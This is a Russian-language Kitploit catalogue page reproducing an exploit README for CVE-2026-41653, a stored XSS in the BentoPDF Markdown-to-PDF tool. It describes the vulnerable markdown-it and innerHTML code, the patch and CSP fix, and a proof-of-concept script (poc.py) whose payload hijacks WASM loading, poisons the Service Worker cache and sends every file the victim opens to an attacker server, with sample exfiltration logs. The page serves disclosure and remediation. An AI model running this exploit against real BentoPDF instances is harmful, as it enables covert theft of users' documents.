Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41653 — Эксплойт proof-of-concept для CVE-2026-41653, хранимой XSS-уязвимости в BentoPDF, которая позволяет скрытую эксфильтрацию файлов и перехват цепочки поставок WASM. | Kitploit
Инструменты/GitHubGitHub/astaruf/cve-2026-41653
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхРазработка Полезной Нагрузки
GitHubastaruf/cve-2026-41653

CVE-2026-41653

Эксплойт proof-of-concept для CVE-2026-41653, хранимой XSS-уязвимости в BentoPDF, которая позволяет скрытую эксфильтрацию файлов и перехват цепочки поставок WASM.

Репозиторий
74 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-41653: BentoPDF ≤ 2.8.2 — Хранимый XSS → Экфильтрация файлов

Обнаружено и сообщено: Astaruf

Полное описание: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/

Консультация вышестоящего проекта: alam00000/bentopdf GHSA advisory

Запись в NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653


Краткое описание

BentoPDF — это самохостинговый PDF-инструментарий, работающий на стороне браузера (сжатие, объединение, разделение, поворот, конвертация, Markdown-to-PDF и т. д.).

Инструмент Markdown-to-PDF пропускает пользовательский Markdown через markdown-it с параметром html: true и вставляет отрендеренный результат напрямую в DOM через innerHTML без какой-либо санитизации. Атакующий, доставивший специально сформированный файл .md, добивается выполнения произвольного JavaScript в origin BentoPDF.

Поскольку BentoPDF — полностью клиентское приложение, каждый инструмент (Compress PDF, Merge PDF, Split PDF и т. д.) загружает и обрабатывает файлы непосредственно в браузере жертвы. Одного XSS достаточно, чтобы незаметно эксфильтровать каждый документ, который жертва открывает в любом инструменте в течение сессии.

root@kitploit:~
Атакующий отправляет report.md (содержащий )
  -> Жертва открывает его в Markdown-to-PDF
    -> markdown-it рендерит сырой HTML (html: true)
      -> preview.innerHTML = html  (без DOMPurify)
        -> poc_payload.js загружается с сервера атакующего (без CSP)
          -> FileReader + <input type=file> перехватываются во всём приложении
            -> скрытое всплывающее окно повторно внедряет хуки при каждой навигации по инструментам
              -> каждый файл, открытый жертвой, незаметно эксфильтруется

Воздействие

  • Незаметная эксфильтрация файлов. Каждый файл, который жертва открывает в любом инструменте BentoPDF в течение сессии (PDF, изображение, документ), отправляется методом POST на сервер атакующего.
  • Перехват цепочки поставок WASM. Полезная нагрузка перезаписывает localStorage['bentopdf:wasm-providers'], перенаправляя загрузки WASM-модулей PyMuPDF, Ghostscript и cpdf на контролируемый атакующим хост.
  • Постоянство между страницами. Скрытое всплывающее окно 1×1 опрашивает window.opener и повторно внедряет хуки для файлов каждый раз, когда жертва переходит к другому инструменту, сохраняя доступ на протяжении всей сессии.
  • Отравление кэша Service Worker (только HTTPS). На HTTPS-развёртываниях полезная нагрузка регистрирует Service Worker и отравляет кэш bentopdf-*, добавляя хук эксфильтрации к каждому файлу /assets/*.js, обслуживаемому браузеру, за пределами текущей сессии.

Детали уязвимости

1. Пропуск сырого HTML в markdown-it (CWE-79)

src/js/utils/markdown-editor.ts (строки 271–272):

root@kitploit:~
private mdOptions: MarkdownItOptions = {
  html: true,   // сырые HTML-теги проходят через парсер markdown
  breaks: false,
  linkify: true,
  typographer: true,
};

Теги, такие как ``, <svg>, <details>, и любые атрибуты обработчиков событий (onerror, onload, ontoggle), передаются в DOM как есть.

2. Несанитизированная вставка через innerHTML (CWE-116)

src/js/utils/markdown-editor.ts (строки 689–694):

root@kitploit:~
private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // контролируемый атакующим HTML вставляется в DOM
  this.renderMermaidDiagrams();
}

Между markdown-it и innerHTML не применяется никакая библиотека санитизации. Браузер разбирает вставленную строку, обнаруживает встроенный обработчик событий и немедленно выполняет его.

3. Отсутствие Content-Security-Policy

nginx.conf поставляется без заголовка Content-Security-Policy. Внедрённый JavaScript может свободно загружать внешние скрипты, отправлять запросы fetch() на любой хост и открывать всплывающие окна. Ограничительная CSP предотвратила бы этап загрузки внешних скриптов даже при сохранении самой уязвимости.

Доказательство концепции

Быстрый старт

root@kitploit:~
# Запустите сервер атакующего для эксфильтрации
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py будет:
#   - генерировать полезную нагрузку poc_report.md в текущем каталоге
#   - начать прослушивание обратных вызовов жертвы и эксфильтрованных файлов

Отправьте poc_report.md жертве и попросите открыть его в BentoPDF → Markdown-to-PDF. Полезная нагрузка срабатывает в момент рендеринга предпросмотра, и все файлы, которые жертва загрузит в будущем, эксфильтруются на сервер атакующего.

Параметры

ПараметрПо умолчаниюОписание
--lhostобязательныйIP-адрес, доступный браузеру жертвы
--lport9999Порт прослушивания
--loot-dir./loot/Каталог, куда сохраняются эксфильтрованные файлы
--log-fileнетДобавлять все события в файл (ANSI-коды удаляются)
--no-colorвыкл.Отключить ANSI-цвета в выводе терминала

Демонстрация

1. Сервер атакующего запущен с --lhost и --lport. Вредоносный poc_report.md генерируется автоматически.

root@kitploit:~
$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
  PoC by Astaruf (https://nstsec.com)

========================================================================
  Exfiltration server:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Loot dir:  /home/kali/loot
========================================================================

  Malicious .md file ready: /home/kali/poc_report.md

  Send it to the victim and ask them to open it in Markdown-to-PDF tool.
  The payload fires as soon as the preview renders.

========================================================================

  Waiting for victims...

2. Жертва открывает инструмент Markdown-to-PDF в BentoPDF.

Инструмент Markdown-to-PDF

3. Жертва загружает poc_report.md. Предпросмотр рендерится, `` не загружается, срабатывает onerror. poc_payload.js загружается с сервера атакующего без блокировки CSP.

Отрендеренный report.md

4. Полезная нагрузка выполняет четыре этапа: перехват WASM-провайдеров через localStorage, запуск монитора всплывающего окна, установка хуков FileReader и файлового ввода на текущей странице.

Установленные хуки и монитор всплывающего окна

5. Жертва переходит к Compress PDF. Всплывающее окно обнаруживает навигацию и повторно внедряет хуки на новую страницу.

Жертва на Compress PDF

6. Жертва загружает PDF. Инструмент сжимает его в обычном режиме. Байты файла уже были отправлены методом POST на сервер атакующего.

Эксфильтрация в процессе

7. Вывод сервера атакующего из проверенного запуска:

root@kitploit:~
[17:11:11] WASM HIJACK     { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON          { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON          { page: '.../index.html' }
[17:12:00] BEACON          { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON          { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171358_Lorem_ipsum.pdf

Журнал сервера атакующего

8. Эксфильтрованный файл открывается как полный, валидный PDF, идентичный оригиналу.

Эксфильтрованный PDF

Этапы полезной нагрузки

Полезная нагрузка, встроенная в poc.py, выполняет четыре этапа последовательно:

ЭтапЧто делаетОбласть постоянства
1Перезаписывает localStorage['bentopdf:wasm-providers'], чтобы перенаправить все загрузки WASM-модулей на атакующегоМежду сессиями браузера
2Регистрирует /sw.js, перечисляет /assets/*.js на всех страницах инструментов, отравляет кэш Service Worker bentopdf-* хук-ом эксфильтрацииЗа пределами сессии браузера (только HTTPS)
3Запускает скрытое всплывающее окно 1×1, которое опрашивает window.opener.location.href и повторно внедряет хуки для файлов после каждой навигации по инструментамПока вкладка BentoPDF открыта
4Перехватывает FileReader.prototype.readAsArrayBuffer и обработчик change на уровне документа: каждый файл, к которому прикасается жертва, отправляется методом POST на сервер атакующего /file?name=<filename>Текущая страница

Исправление

Выпущено в BentoPDF v2.8.3. Разработчик провёл аудит кодовой базы за пределами первоначально сообщённой уязвимости и устранил несколько связанных векторов:

  1. DOMPurify применён ко всем трём innerHTML-приёмникам в markdown-editor.ts, включая путь Mermaid SVG, который использовал securityLevel: 'loose' и, как было обнаружено, обходил первый санитайзер.
  2. Mermaid теперь работает с securityLevel: 'strict', а SVG-вывод повторно санитизируется с помощью SVG-профиля DOMPurify.
  3. XSS через file.name экранирован примерно на 8 страницах инструментов (Deskew, Form Filler, Remove Annotations и т. д.), где имена файлов ранее конкатенировались в HTML без санитизации.
  4. Введён белый список WASM-провайдеров: ненадёжные URL в localStorage['bentopdf:wasm-providers'] отбрасываются при загрузке.
  5. Версия кэша Service Worker увеличена со списком доверенных хостов с проверкой целостности.
  6. Полный набор заголовков безопасности включён в nginx.conf, включая Content-Security-Policy.

Минимальное исправление для первоначально сообщённой уязвимости:

root@kitploit:~
import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

Заголовок CSP, добавленный в nginx.conf:

root@kitploit:~
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;

Хронология

ДатаСобытие
2026-04-02Уязвимость обнаружена
2026-04-02Сообщено конфиденциально мейнтейнеру
2026-04-17Мейнтейнер подтвердил
2026-04-17Исправление внесено в сборку edge и повторно протестировано
2026-04-18v2.8.3 выпущена с публичным упоминанием
2026-04-21Опубликована консультация GHSA
2026-04-22Присвоен CVE-2026-41653

Ссылки

  • Официальный репозиторий BentoPDF
  • Примечания к выпуску BentoPDF v2.8.3
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • CWE-116: Improper Encoding or Escaping of Output
  • Заметки markdown-it о безопасности при html: true
  • DOMPurify
  • MDN: Content Security Policy

Отказ от ответственности

Данный материал предоставлен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против экземпляров BentoPDF, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование.

Лицензия

MIT

Скачать инструмент